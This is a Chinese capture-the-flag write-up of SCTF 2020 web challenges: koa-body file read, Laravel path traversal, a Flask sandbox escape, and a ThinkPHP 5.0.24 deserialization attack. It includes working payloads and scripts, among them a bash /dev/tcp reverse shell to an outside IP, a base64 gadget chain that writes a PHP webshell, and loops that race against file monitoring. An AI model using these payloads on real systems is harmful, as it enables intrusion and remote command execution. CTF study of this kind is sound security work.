近期学习笔记(补)
sctf2020记录 CloudDisk 给了源码
看到是koa框架,在github的issue上有https://github.com/dlau/koa-body/issues/75
Payload:
1 2 3 4 curl -X POST \ -H "Content-Type: application/json" \ -d '{"files":{"file":{"name":"lol","path":"/etc/passwd"}}}' \ 192.168.1.104:2534/uploadfile
bestlanguage 非预期解 1 curl --path-as-is http://127.0.0.1:89/index.php/tmp/../../flag
查看了一下源码,发现了问题
整个系统的路由在routes/web.php
1 2 3 4 5 6 7 Route::get('/',"IndexController@init"); Route::post('/rm',"IndexController@rm"); Route::get('/tmp/{filename}', function ($filename) { readfile("/var/tmp/".$filename); })->where('filename', '(.*)'); Route::post('/upload',"IndexController@upload"); Route::get('/move/log/{filename}', 'IndexController@moveLog')->where('filename', '(.*)');
其他路由都是通过IndexController文件中的方法进行操作的
但是第三个
1 2 3 Route::get('/tmp/{filename}', function ($filename) { readfile("/var/tmp/".$filename); })->where('filename', '(.*)');
确实直接进行操作的,所以可以直接绕过index.php里的限制,在访问/tmp路径之后的内容,重点是后面的匿名函数,直接拼接了传入的参数并进行读取,所以只需要../../
就可以穿越到根目录读flag
正常解法 版本号也会写在vendor/laravel/framework/src/Illuminate/Foundation/Application.php
里面
Laravel 5.5.x<=5.5.40、5.6.x<=5.6.29 都会受到 CVE-2018-15133 的影响
https://xz.aliyun.com/t/6533#toc-0
poc
https://github.com/kozmic/laravel-poc-CVE-2018-15133
pythonbox Post cmd=???直接可以rce 无回显
白名单【大小写英文字母+数字+[]^_`:;<=>?@*+,-./\】
玩了一下flask,发现默认有个路由 /static
可以访问静态文件。
1 2 3 4 5 6 7 8 9 >>> app.url_map Map([<Rule '/' (OPTIONS, POST) -> security>, <Rule '/static/<filename>' (OPTIONS, GET, HEAD) -> static>]) >>> app.view_functions {'static': <bound method _PackageBoundObject.send_static_file of <Flask '__main__'>>, 'security': <function security at 0x7f59ba27f670>} >>> app.static_url_path '/static' >>> app.static_folder '/app/static'
那么直接执行 curl -X POST -d "cmd=app.static_folder=app.static_folder[:4]" http://39.104.25.107:10007/
可以将 app.static_folder
设置为 /app
然后访问 http://39.104.25.107:10007/static/flag
直接读取到 /app/flag
pythonbox2 发现可以用Flask.__doc__
获取到文档然后构造任意字符
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flask import * app = Flask(__name__) doc = app.__doc__ mylist = [] code = "ng" for char in code: num = 0 for i in doc: if i == char: mylist.append("Flask.__doc__[{}]".format(num)) break num+=1 print('%2b'.join(mylist))
1 2 3 4 5 6 7 8 9 10 11 12 13 make_response将视图函数的返回值转换为response_class的实例 会在return的时候自动对返回内容调用,这意味着可以app.make_response=eval after_request_funcs包含每个请求后应调用的函数列表的字典,键值对于所有request均为None app.after_request_funcs[None]=[exec] PS:先调用make_response处理返回值,再调用after_request_funcs view_functions所有已注册视图函数的字典。键是也用于生成url的函数名,值是函数对象本身。 可以劫持路由,配合匿名函数直接rce # 请求结束时调用的函数列表,这些函数会被传入当前响应对象并将其修改或替换它。 self.after_request_funcs = [] __builtins__.xXXxXXx __builtins__是一个内建函数,也就是说最后显示在页面上的xXXxXXx可以变成一个函数名 然后内容就是我们输入的内容,完成攻击
payload
1 2 3 app.make_response=eval app.after_request_funcs[None]=[exec] __builtins__.xXXxXXx=request.headers.environ[HTTP_N]
poc
1 2 3 4 5 cmd=app.make_response=eval;app.after_request_funcs[None]=[exec];__builtins__.xXXxXXx=request.headers.environ[Flask.__doc__[1796]%2bFlask.__doc__[0]%2bFlask.__doc__[0]%2bFlask.__doc__[909]%2bFlask.__doc__[525]%2bFlask.__doc__[2892]] header N=__import__("os").system("bash -i >& /dev/tcp/106.15.198.173/123 0>&1")
UnsafeDefenseSystem 1 Warning<br/>You IP: [这里是公网ip 打码] has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">%
访问 /public/test 能进入到一个局子里
f12
**
任意密码可以登陆
访问http://127.0.0.1:991/public/nationalsb/
在js中找到保存的密码
http://127.0.0.1:991/public/nationalsb/js/script.js
1 2 3 4 5 6 document.querySelector('.img__btn').addEventListener('click', function() { document.querySelector('.content').classList.toggle('s--signup') //username:Admin1964752 //password:DsaPPPP!@#amspe**** //Secret **** is your birthday })
写个脚本爆破一下日期,得到1221 使用该用户名和密码登录,可以看到
1 2 3 4 5 Hello Admin1964752. You entered DsaPPPP!@#amspe1221 as your password. Welcome Admin. You can query the files in the system Post $file to query
post参数file设为php://filter/convert.base64-encode/resource=/var/www/html/application/index/controller/Index.php
,可以读到源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php namespace app\index\controller; class Index extends \think\Controller{ public function index(){ $ip = $_SERVER['REMOTE_ADDR']; echo "Warning"."<br/>"; echo "You IP: ".$ip." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior"; echo '<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">'; } public function hello(){ unserialize(base64_decode($_GET['s3cr3tk3y'])); echo(base64_decode($_GET['s3cr3tk3y'])); } }
thinkphp报错可以得知版本号5.0.24
,上网查找thinkphp 5.0.24
可以找到反序列化写php文件的漏洞利用。 根据 http://39.99.41.124/public/log.txt 可得知远程环境上了文件监控脚本。
那么可以不断写php文件,通过条件竞争调用php文件。
网上公开生成payload的地方改一下:
1 'path' => 'php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=./?<hp pfi( dm(5_$EG[Ta\']\'=)==f\'0113a600de9682e43dfc15cbeb3635\'d )vela$(G_TE\'[\'b)] ;>?',
脚本A:
1 2 3 4 5 6 7 8 9 import requests url = 'http://39.99.41.124/public/index.php/index/index/hello' payload = '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' params = {'s3cr3tk3y': payload} while True: try: requests.get(url, params=params, timeout=1) except: continue
脚本B:
1 2 3 4 5 6 7 8 9 10 11 import requests url = 'http://39.99.41.124/public/%3F%3Chp%20pfi(%20dm(5_%24EG%5BTa\'%5D\'%3D)%3D%3Df\'0113a600de9682e43dfc15cbeb3635\'d%20)vela%24(G_TE\'%5B\'b)%5D%20%3B%3E%3F3b58a9545013e88c7186db11bb158c44.php' params = {'a': '82sno9T1', 'b': 'system("cat /flag");'} while True: try: r = requests.get(url, params=params, timeout=1) if r.status_code != 404: print(r.content) break except: continue
运行脚本A。然后运行脚本B(可能需要多运行几次)来得到结果。SCTF{tp5.0.24_4nd_pyth0n_is_fun}